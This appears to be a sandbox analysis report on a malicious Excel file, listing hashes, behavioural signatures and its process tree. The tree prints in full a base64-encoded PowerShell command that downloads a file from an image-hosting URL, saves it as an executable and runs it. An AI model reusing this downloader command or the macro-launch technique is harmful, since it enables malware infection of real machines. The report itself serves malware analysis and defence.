Analysis
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max time kernel
47s -
max time network
33s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
20-05-2024 08:17
Behavioral task
behavioral1
Sample
b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls
Resource
win10v2004-20240508-en
General
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Target
b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls
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Size
92KB
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MD5
088c41ef2a80c92b12bcc1f6a31503db
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SHA1
356529f99f1715b415cc4789f3037ccf8ba7140a
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SHA256
b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541
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SHA512
c226394f2814a342aca115f1d9fd2b47b2620636f4181e074ce54916667a24471b70560f90d0b09a809d3b5d78f4dcd94d31f7333cffbc4d0c10933d5a0f1e8b
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SSDEEP
1536:Ik3hOdsylKlgryzc4bNhZFGzE+cL2knAfiCaikW3ixhZFaRRGjx0BT0TR0SHx/Ua:Ik3hOdsylKlgryzc4bNhZFGzE+cL2knt
Malware Config
Extracted
http://i.cubeupload.com/1MDiPJ.jpg
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3132 1088 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 19 1172 powershell.exe 20 1172 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1088 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1172 powershell.exe 1172 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1172 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
EXCEL.EXEpid process 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 1088 wrote to memory of 3132 1088 EXCEL.EXE cmd.exe PID 1088 wrote to memory of 3132 1088 EXCEL.EXE cmd.exe PID 3132 wrote to memory of 1172 3132 cmd.exe powershell.exe PID 3132 wrote to memory of 1172 3132 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b9cad09c0d55afa5d764b9c0c118e865091c115ee8bcb4ea52f14c8f63485541.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SYSTEM32\cmd.execmd & /K CD C: & PowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3132 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -EncodedCommand dAByAHkAewAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGkALgBjAHUAYgBlAHUAcABsAG8AYQBkAC4AYwBvAG0ALwAxAE0ARABpAFAASgAuAGoAcABnACcALAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFACsAJwBcAGsAZwByAGgAUwBnAGwASwBSAGsAZQBYAEsAcQBsAE4AQgAuAGUAeABlACcAKQA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0AIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAFMAaABlAGwAbABFAHgAZQBjAHUAdABlACgAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQArACcAXABrAGcAcgBoAFMAZwBsAEsAUgBrAGUAWABLAHEAbABOAEIALgBlAHgAZQAnACkAOwB9AGMAYQB0AGMAaAAgAHsAfQA=3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1172
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82